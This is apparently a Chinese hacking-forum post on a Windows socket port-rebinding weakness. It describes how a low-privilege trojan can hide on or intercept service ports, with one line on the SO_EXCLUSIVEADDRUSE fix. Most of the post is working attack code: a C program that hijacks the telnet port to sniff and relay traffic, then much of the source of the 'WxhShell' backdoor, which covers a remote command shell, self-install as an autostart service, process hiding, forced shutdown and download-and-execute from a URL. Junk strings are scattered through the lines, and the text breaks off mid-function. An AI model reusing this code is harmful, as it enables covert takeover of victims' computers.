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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Hiw{1E:rW  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); k1]?d7g$w  
44n^21k  
  saddr.sin_family = AF_INET; t4,6`d?C  
zJ#q*2A(Z  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); MRiETd"  
ysSEgC3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Q:%gJ6pa  
<8H`y(S  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [jafPi(#g  
c|I{U[(U  
  这意味着什么?意味着可以进行如下的攻击: :FK(*BUh  
V+E2nJ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 vuD tEz  
r R."_Z2  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) hLBX,r)u  
}|x]8zL8G  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (0Y6tcV]R  
d,$[633It}  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Vls*fY:W  
'a4xi0**I  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @O4m-Oosi  
/Cwt4.5  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >bmL;)mc&  
=m:0#&t,*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $rf5\_G,96  
Rh: \/31~  
  #include -N9U lW2S  
  #include ~uV.jh  
  #include u0N1+-6kr+  
  #include    \+ K ^G  
  DWORD WINAPI ClientThread(LPVOID lpParam);   In]h+tG?rN  
  int main() +8v!vuO'  
  { Rg' 1 F  
  WORD wVersionRequested; k~:B3p  
  DWORD ret; uGgR@+7?Z  
  WSADATA wsaData; YMJ?t"  
  BOOL val; y_\vXY'  
  SOCKADDR_IN saddr; Rh~<#"G]  
  SOCKADDR_IN scaddr; taI])  
  int err; UiW( /L  
  SOCKET s; +|\dVe.  
  SOCKET sc; $UKV2c  
  int caddsize; 6 70g|&v.  
  HANDLE mt; ;Q-(tGd  
  DWORD tid;   O'o`  
  wVersionRequested = MAKEWORD( 2, 2 ); 2v yB [(  
  err = WSAStartup( wVersionRequested, &wsaData ); ]yA| m3^2  
  if ( err != 0 ) { .~C*7_  
  printf("error!WSAStartup failed!\n"); L;>tuJY1  
  return -1; / [:@j+n\  
  } 7@MVInV9  
  saddr.sin_family = AF_INET; oO!@s`  
   YP+0 uZ[g  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 vlx wt~  
O Y/QA  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ss |<\DE+  
  saddr.sin_port = htons(23); omY%sQ{)  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <(;"L<?D<C  
  { ;,4Z5+  
  printf("error!socket failed!\n"); mJ[LmQ<:  
  return -1; 'V .4Nhd  
  } Spt[b.4mF  
  val = TRUE; EzwYqw  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /6b(w=pk  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) JYs*1<  
  { 8gr&{-5  
  printf("error!setsockopt failed!\n"); 5fM/y3QPsZ  
  return -1; }8 fG+H.  
  } ]MRE^Je\h  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8K7zh.E  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 $]!uX&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 'GS1"rkW<5  
A\k@9w\Ll;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) % ;09J  
  { 8kX3.X`  
  ret=GetLastError(); %TvunV7NQS  
  printf("error!bind failed!\n"); DSD#',  
  return -1; \snbU'lfP  
  } H>a3\M  
  listen(s,2); VTy!<I  
  while(1) 3Ud&B  
  { pu,/GBG_  
  caddsize = sizeof(scaddr); uXyNj2(d.  
  //接受连接请求 G{$9e}#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); t&eY+3y,T  
  if(sc!=INVALID_SOCKET) zH}u9IR3`  
  {  \^w=T*  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +7^{T:^ht  
  if(mt==NULL) .0r5=  
  { +|r) ;>b  
  printf("Thread Creat Failed!\n"); n!A')]y"  
  break; v6;XxBR6  
  } e#)}.   
  } `N;u#z  
  CloseHandle(mt); L*11hyyk  
  } {>pB  
  closesocket(s); O=G2bdY{,  
  WSACleanup(); v5RS<?o  
  return 0; _LxV)  
  }   v93+<@Z  
  DWORD WINAPI ClientThread(LPVOID lpParam) -|:7<$2#I  
  { <~<I K=n  
  SOCKET ss = (SOCKET)lpParam; kT[]^Jtc  
  SOCKET sc; Y6W3WPs(  
  unsigned char buf[4096]; rM/*_0[`d  
  SOCKADDR_IN saddr; (<=qW_iW  
  long num; lD _  u  
  DWORD val; gU0}.b  
  DWORD ret; {M$mrmG  
  //如果是隐藏端口应用的话,可以在此处加一些判断 *(& J^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   t> -cTQm  
  saddr.sin_family = AF_INET; :DR G=-M  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); f8 B*D4R}  
  saddr.sin_port = htons(23); XK{`x<  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sbQmPV  
  { b'St14_  
  printf("error!socket failed!\n"); ;_%61ZI?M<  
  return -1; /px*v<Aw1  
  } Yono8M;9*  
  val = 100; ~BaU2S@y  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \b1I<4(  
  { ;yx+BaG~?  
  ret = GetLastError(); cJGA5m/{I  
  return -1; \"<&8  
  } P (_:8|E  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f)vD2_E  
  { (IAl$IP63s  
  ret = GetLastError(); k'xnl"q  
  return -1; <xOpm8  
  } 8L|rj4z<#  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7'xT)~*$4  
  { 7"Zr:|$U  
  printf("error!socket connect failed!\n"); e*jn7aya  
  closesocket(sc); ]9]3=;b>  
  closesocket(ss); ghx8dX}  
  return -1; lva]jh2  
  } |&o1i~Y  
  while(1) BB1'B-O  
  { K/, B  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 J3}^\k=p"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +pnT6kU|  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )><cL:IJ}S  
  num = recv(ss,buf,4096,0); t'Nu^_#  
  if(num>0) |0b$60m$!t  
  send(sc,buf,num,0); GQ$0`?lp  
  else if(num==0) aGr(djD  
  break; )Mi #{5z  
  num = recv(sc,buf,4096,0); T=ox;r  
  if(num>0) +7|Oy3s  
  send(ss,buf,num,0); BO#fzq%  
  else if(num==0) fp:j~a>E  
  break; MV e5j+8  
  } IhJ _Yed  
  closesocket(ss); v7\~OOoH]  
  closesocket(sc); *J 7>6N:-  
  return 0 ; s^AQJ{X  
  } K}1>n2P  
tPDV"Md#m<  
!Z<GUbl t  
========================================================== 'N,x=1R5  
)tz8(S  
下边附上一个代码,,WXhSHELL Y~,[9:SR  
t8U)za  
========================================================== TEE$1RxV(  
E"x 2jP  
#include "stdafx.h" ;TEZD70r  
YM1tP'4j@  
#include <stdio.h> aCMF[ 3j  
#include <string.h> c_kxjzA#  
#include <windows.h> Yn'XSV|g  
#include <winsock2.h> 1;?b-FEq:  
#include <winsvc.h> dWg$yH  
#include <urlmon.h> tJ&S&[}  
H_o<!YxK  
#pragma comment (lib, "Ws2_32.lib")  &j2L- )  
#pragma comment (lib, "urlmon.lib") V<\:iNXX{  
b0rC\^x  
#define MAX_USER   100 // 最大客户端连接数 A:cc @ku  
#define BUF_SOCK   200 // sock buffer z }R-J/xr2  
#define KEY_BUFF   255 // 输入 buffer q ^n6"&;*  
cJ&l86/l1  
#define REBOOT     0   // 重启 *[.+|v;A  
#define SHUTDOWN   1   // 关机 e1[kgp   
qdAz3iye  
#define DEF_PORT   5000 // 监听端口 H-1@z$p  
Ts}5Nk8%  
#define REG_LEN     16   // 注册表键长度 1&i!92:E  
#define SVC_LEN     80   // NT服务名长度 P+%O]v1 Ob  
9cQKXh:R.  
// 从dll定义API 3-h u'xSU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2a (w7/W:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }]=b%CPJh+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f|m.v +7k  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Lyt6DvAp"  
XFG]%y=/6  
// wxhshell配置信息 \%mR*J+  
struct WSCFG { 8W[QV  
  int ws_port;         // 监听端口 :1hp_XfJb  
  char ws_passstr[REG_LEN]; // 口令 O)\xElu  
  int ws_autoins;       // 安装标记, 1=yes 0=no [LjYLm%<  
  char ws_regname[REG_LEN]; // 注册表键名 (|(Y;%>-v  
  char ws_svcname[REG_LEN]; // 服务名 M\enjB7k  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4AZlr*U  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 u17Da9@;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {pd%I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <*8nv.PX*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" QbV)+7II=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l.;y`cs  
?9Fv0-g&n  
}; 9P{5bG0o8  
l1gAm#  
// default Wxhshell configuration FT[wa-b  
struct WSCFG wscfg={DEF_PORT, sOz jViv  
    "xuhuanlingzhe", )n5]+VTZ5  
    1, N95"dNZE  
    "Wxhshell", dK|MQ <  
    "Wxhshell", [0m'a\YE9  
            "WxhShell Service", o:f=dBmoX  
    "Wrsky Windows CmdShell Service", h'MX{Wm.  
    "Please Input Your Password: ", }1:jM_H)k  
  1, feQ_dA q  
  "http://www.wrsky.com/wxhshell.exe", o! sxfJKl  
  "Wxhshell.exe" rYJt;/RtR}  
    }; jcXb@FE6  
O4]Ss}ol  
// 消息定义模块 &|n*&@fF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5NJ@mm{0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; E36<Wog  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ugVsp&i#  
char *msg_ws_ext="\n\rExit."; !xj>~7  
char *msg_ws_end="\n\rQuit."; HR['y9 U  
char *msg_ws_boot="\n\rReboot..."; " &p\pR~  
char *msg_ws_poff="\n\rShutdown..."; &7E0H{  
char *msg_ws_down="\n\rSave to "; [9[tn -  
qW?^_  
char *msg_ws_err="\n\rErr!"; +\"@2mOH{+  
char *msg_ws_ok="\n\rOK!"; QTcngv[  
B?#@<2*=L  
char ExeFile[MAX_PATH]; f>#\'+l'  
int nUser = 0; a9FlzR  
HANDLE handles[MAX_USER]; [GU!],Y  
int OsIsNt; qe`W~a9x  
cvn,&G -`  
SERVICE_STATUS       serviceStatus; ZS^EKz~+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?uk|x!Ko]  
b]hRmW  
// 函数声明 =1VY/sv  
int Install(void); 1?E\2t&K  
int Uninstall(void); goRoi\z $  
int DownloadFile(char *sURL, SOCKET wsh); /bt@HFL|`  
int Boot(int flag); %QwMB`x  
void HideProc(void); } ..}]J;To  
int GetOsVer(void); D dt9`j  
int Wxhshell(SOCKET wsl); 2>ce(4Gky  
void TalkWithClient(void *cs); ~4XJ" d3L  
int CmdShell(SOCKET sock); n)$ q*IN"  
int StartFromService(void); @^k$`W;  
int StartWxhshell(LPSTR lpCmdLine); :L*CL 8m  
r[EN`AxDb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <0JW[m  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <9\_b 6  
zh*NRN  
// 数据结构和表定义 hh:0m\@<  
SERVICE_TABLE_ENTRY DispatchTable[] = _Xsn1  
{ J5@_OIc1y  
{wscfg.ws_svcname, NTServiceMain}, mEyZ<U9  
{NULL, NULL} A3C<9wXx  
}; ?|N:[.  
e)cmZ8~S  
// 自我安装 Tg{d#U_qB  
int Install(void) 90K&s#+13  
{ wy:.  
  char svExeFile[MAX_PATH]; 2s|[!:L5  
  HKEY key; {P1W{|  
  strcpy(svExeFile,ExeFile); 5OpK~f5  
&EA4`p  
// 如果是win9x系统,修改注册表设为自启动 +SUQRDF@i  
if(!OsIsNt) { ]=@>;yP)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0sV;TQt+f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rb`C:#j{J  
  RegCloseKey(key); xQWZk`6~L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `4\H'p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]#3=GFs/  
  RegCloseKey(key); oE-i`;\8  
  return 0; 9FcCq*D  
    } ,lL0'$k~  
  } %S$P+B?  
} Nl;rg*@o  
else { A4%0  
%ze Sx  
// 如果是NT以上系统,安装为系统服务 = 1`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k9yA#  
if (schSCManager!=0) O?8G  
{ }{j[  
  SC_HANDLE schService = CreateService 47ir QK*  
  ( 5:^dyF&sm{  
  schSCManager, MFE~bU(h  
  wscfg.ws_svcname, Q'$aFl'NR  
  wscfg.ws_svcdisp, 2)4{  
  SERVICE_ALL_ACCESS, q SCt= eQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 96MRnj*Y[  
  SERVICE_AUTO_START, `(*5yXC  
  SERVICE_ERROR_NORMAL, a)y8MGx?  
  svExeFile, - bFz  
  NULL, 7/Ve=7]  
  NULL, ywi Shvi8  
  NULL, RX7,z.9@'O  
  NULL, ug UV`5w   
  NULL TyGXDU  
  ); i>b^n+74>  
  if (schService!=0) k"GW3E;  
  { /F/`?=1<$  
  CloseServiceHandle(schService); i&"I/!3Q@  
  CloseServiceHandle(schSCManager); 3YA !2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); urXM}^  
  strcat(svExeFile,wscfg.ws_svcname); iwrdZLE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l ^\5Jr03  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E*rDwTd  
  RegCloseKey(key); T'f E4}rY  
  return 0; !C#q  
    } 8h;1(S)*Z  
  } 8M(N   
  CloseServiceHandle(schSCManager); 0~an\4nh  
} (_U&EX%  
} N @]*E  
`9b D%M  
return 1; <(s+  
} ) 1H]a'j  
X#+A?>Z]}<  
// 自我卸载 u) fbR  
int Uninstall(void)  BX+-KvT  
{ F4">go  
  HKEY key; Z1^S;#v  
j_p.KF'[?  
if(!OsIsNt) { d~GT w:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p]=8=pE<  
  RegDeleteValue(key,wscfg.ws_regname); 9dy"Y~c  
  RegCloseKey(key); |l7e*$j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o8Q(,P  
  RegDeleteValue(key,wscfg.ws_regname); !7^fji  
  RegCloseKey(key); 2JtGS-t  
  return 0; ed>_=i  
  } M7!&gFv8  
} (w"zI!  
} O{SU,"!y  
else { 63-`3R?;  
^N0hc!$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); WpSdukXY{  
if (schSCManager!=0) ]!h%Jlu  
{ 3lA<{m;V  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4/Ok/I  
  if (schService!=0) %# J8cB  
  { RQ}x7< /{  
  if(DeleteService(schService)!=0) { 8oN4!#:  
  CloseServiceHandle(schService); AVyo)=&  
  CloseServiceHandle(schSCManager); BC!l)2  
  return 0; f85j?Jm  
  } stoBjDS  
  CloseServiceHandle(schService); z\fD}`^8  
  } |MTgKEsn  
  CloseServiceHandle(schSCManager); uR@\/6!@  
} tty 6  
} M(?|$$   
#r:J,D6*  
return 1; (VwS 9:`  
} /EKfL\3  
Dzc 4J66  
// 从指定url下载文件 LdVGFlcXi  
int DownloadFile(char *sURL, SOCKET wsh) r")=Z1y  
{ H\^5>ccU>V  
  HRESULT hr; [- vd]ob  
char seps[]= "/"; ruF+X)  
char *token; <(#cPV@j  
char *file; AvP*p{we  
char myURL[MAX_PATH]; $T]1<3\G  
char myFILE[MAX_PATH]; I2K52A+  
HmRwh  
strcpy(myURL,sURL); OXA_E/F  
  token=strtok(myURL,seps); LF*3Iw|v  
  while(token!=NULL) BniFEW:<  
  { <m UDx n  
    file=token; ,iiWVA"  
  token=strtok(NULL,seps); +S0A`rL  
  } x1mxM#ql  
G}D?+MWY  
GetCurrentDirectory(MAX_PATH,myFILE); >D<nfG<s Z  
strcat(myFILE, "\\");  fB;'U  
strcat(myFILE, file); 5 MQRb?[  
  send(wsh,myFILE,strlen(myFILE),0); JL;H:`x  
send(wsh,"...",3,0); >i@gR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k 2;m"F  
  if(hr==S_OK) A 7DdUNR  
return 0; l_^>spF  
else Z0`?  
return 1; Pgye{{  
;@v7AF6Hq  
} *M- .Vor?R  
owYfrf3ZLX  
// 系统电源模块 >Z<ym|(T*  
int Boot(int flag) |mY<TWoX  
{ Nk}Hvg*(  
  HANDLE hToken; ;$[o7Qm5r  
  TOKEN_PRIVILEGES tkp; bis/Nfr]  
iWQBo>x  
  if(OsIsNt) { 3S'V>:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R%3H"FU9w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y k~ i.p  
    tkp.PrivilegeCount = 1; _2f}WY3S  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8a. |CgI#h  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); T7cT4PAW  
if(flag==REBOOT) { \mWXr*;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i&.F}bEi  
  return 0; 4B (*{  
} K%Q^2"Eb0  
else { Mt@K01MI%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &sx/qS#,VL  
  return 0; WMh'<'w N_  
} CAc nH  
  } w[4SuD  
  else { Dtd bQF  
if(flag==REBOOT) { p c-'+7Dh>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8 _`Lx_R  
  return 0; ?:n{GK  
} pklcRrx,a  
else { )S8q.h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >KGQ#hnH  
  return 0; @$+l ^"#-]  
} d5^ipu  
} =7Tbu'O;  
dVe3h.,[v  
return 1; K7e<hdP_#  
} %q ja:'k  
jGt'S{  
// win9x进程隐藏模块 n!HFHy2  
void HideProc(void) 9R.tkc|K  
{ Av+ w>~/3  
kQVl8KS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {"{J*QH  
  if ( hKernel != NULL ) H~Q UN  
  { ( 7Y :3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +H ="5uO<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V!FzVl=G  
    FreeLibrary(hKernel); ]p0m6}B  
  } 2px5>4<  
>|z=-hqPK  
return; #/1A:ig  
} TU[f"!z^  
S@_@hFV jd  
// 获取操作系统版本 #+ n &  
int GetOsVer(void) }$ AC0  
{ @Cqg 2  
  OSVERSIONINFO winfo; ;y5cs;s  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $RA"NIZ:!  
  GetVersionEx(&winfo); q &jW{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tQ2*kE  
  return 1; WNL3+  
  else YT&_{nL#\  
  return 0; J anLJe)  
} 7Jc=`Zm'  
VT'$lB%IK  
// 客户端句柄模块 n]8_]0{qi  
int Wxhshell(SOCKET wsl) U35}0NT _  
{ D-,sF8{ i  
  SOCKET wsh; o_\b{<^I  
  struct sockaddr_in client; h)A+5^:^  
  DWORD myID; n,Ux>L  
<w2Nh eM 3  
  while(nUser<MAX_USER) v8pUt\m"  
{ Ud{-H_m+  
  int nSize=sizeof(client); k5}i^^.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); dc lJ  
  if(wsh==INVALID_SOCKET) return 1; Bwll [=_I  
uVisU%p  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %FyB\IQ  
if(handles[nUser]==0) f#X`e'1  
  closesocket(wsh); mX|AptND  
else ]7xAL7x  
  nUser++; wz6e^ g  
  } W:EXL@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wlKL|N  
m+uh6IqN./  
  return 0; w;#9 hW&  
} 9`09.`U9[  
KE5f`h  
// 关闭 socket u $sX6  
void CloseIt(SOCKET wsh) 03rZz1  
{ Y1 -cz:  
closesocket(wsh); qw_qGgbl  
nUser--; _n{N3da  
ExitThread(0); j83p[qR7o  
} G_AAE#r`  
possM'vC  
// 客户端请求句柄 5'z&kl0"S  
void TalkWithClient(void *cs) N8nyTPw  
{ #Q$4EQB  
{[Yv@CpN  
  SOCKET wsh=(SOCKET)cs; yY&(?6\{<<  
  char pwd[SVC_LEN]; T>?sPq  
  char cmd[KEY_BUFF]; twO)b"0  
char chr[1]; Box,N5AA  
int i,j; 1W/= =+%I  
.R-:vU880  
  while (nUser < MAX_USER) { "[#jq5> :  
F48`1+  
if(wscfg.ws_passstr) { h_CeGl!M}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PDpIU.=!0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OEAF.  
  //ZeroMemory(pwd,KEY_BUFF); ]j{S' cz  
      i=0; 5T8!5EcS*  
  while(i<SVC_LEN) { DF&C7+hO  
01w=;Q  
  // 设置超时 ec]ksw6T+  
  fd_set FdRead; - z|idy{  
  struct timeval TimeOut; H=yD}!j  
  FD_ZERO(&FdRead); G&Cl:CtC  
  FD_SET(wsh,&FdRead); t*D[Q$v  
  TimeOut.tv_sec=8; &.4lhfI+(Q  
  TimeOut.tv_usec=0; z5{I3 Y!1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); iK.MC%8?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qKSM*k~  
f}+G;a9Nj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sxsM%Gb?H  
  pwd=chr[0]; 5`z{A  
  if(chr[0]==0xd || chr[0]==0xa) { ,cm2uY  
  pwd=0; W)9KYI9u  
  break; {) .=G  
  } PD/~@OsxU  
  i++; I&(cdKY z  
    } _nTjCN625  
0{B5C[PTG  
  // 如果是非法用户,关闭 socket L50`,,WF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [tBIABr  
} GN~:rdd  
m' aakq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G! 87F/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I O6i  
s*!2oj  
while(1) { jf$t  
".@SQgyb0  
  ZeroMemory(cmd,KEY_BUFF); g`&pQ%|=  
{)%B?75~  
      // 自动支持客户端 telnet标准   c9'#G>&h~^  
  j=0; /Fv1Z=:r  
  while(j<KEY_BUFF) { zBoU;d%p>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }~ +  
  cmd[j]=chr[0]; JT:9"lmJz,  
  if(chr[0]==0xa || chr[0]==0xd) { Az)P&*2:'`  
  cmd[j]=0; ;N/c5+  
  break; wvc?2~`  
  } 5jsnE )  
  j++; Gu%`__   
    } =ecv;uu2  
_zpn+XVdQ  
  // 下载文件 IC{>q3  
  if(strstr(cmd,"http://")) { ? `w ~1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rzO:9# d  
  if(DownloadFile(cmd,wsh)) Gpgi@ Uf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dn6DkD!  
  else O&O1O> [p1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h]D=v B  
  } :s$9#}hw,  
  else { d-?~O~qD|!  
|MBnRR  
    switch(cmd[0]) { (Hn,}(3S  
  h{h=',o1  
  // 帮助 Cu`ZgK LQ  
  case '?': { c~tkY!c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \XpPb{:>  
    break; r] ]Ke_s!  
  } ~q1s4^J  
  // 安装 r7IhmdA  
  case 'i': { hwXp=not(  
    if(Install()) R UX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [@\f 0R  
    else OsK=% aDpj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h`vM+,I  
    break; NuP@eeF>,  
    } y'+^ ME$H  
  // 卸载 jf%Ydr}`  
  case 'r': { k5ZwGJ#r  
    if(Uninstall()) l'o}4am  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P/ y-K0u  
    else ^X_%e|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f9&D1Gh+w  
    break; ^Krkf4fO  
    } pa\]@;P1  
  // 显示 wxhshell 所在路径 D{8V^%{  
  case 'p': { '@:;oe@]  
    char svExeFile[MAX_PATH]; <<A@69"4n  
    strcpy(svExeFile,"\n\r"); JN8k x;@  
      strcat(svExeFile,ExeFile); s0`uSQ2X  
        send(wsh,svExeFile,strlen(svExeFile),0); @lJGdp  
    break; oZ8SEC "]  
    } AG9U2x  
  // 重启 BShZ)t  
  case 'b': { xQD#; 7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G's/Q-'[\  
    if(Boot(REBOOT)) D~%cf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `QkzWy~V3  
    else { JRo{z{!O6  
    closesocket(wsh); V,Gt5lL&/!  
    ExitThread(0); aI\VqOt]  
    } O{dx+f  
    break; 2N]y)S_<V  
    } Ny~;"n  
  // 关机 TQEZ<B$  
  case 'd': { kNjbpCE\!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -S|L+">=Z  
    if(Boot(SHUTDOWN)) ,{oANqP  
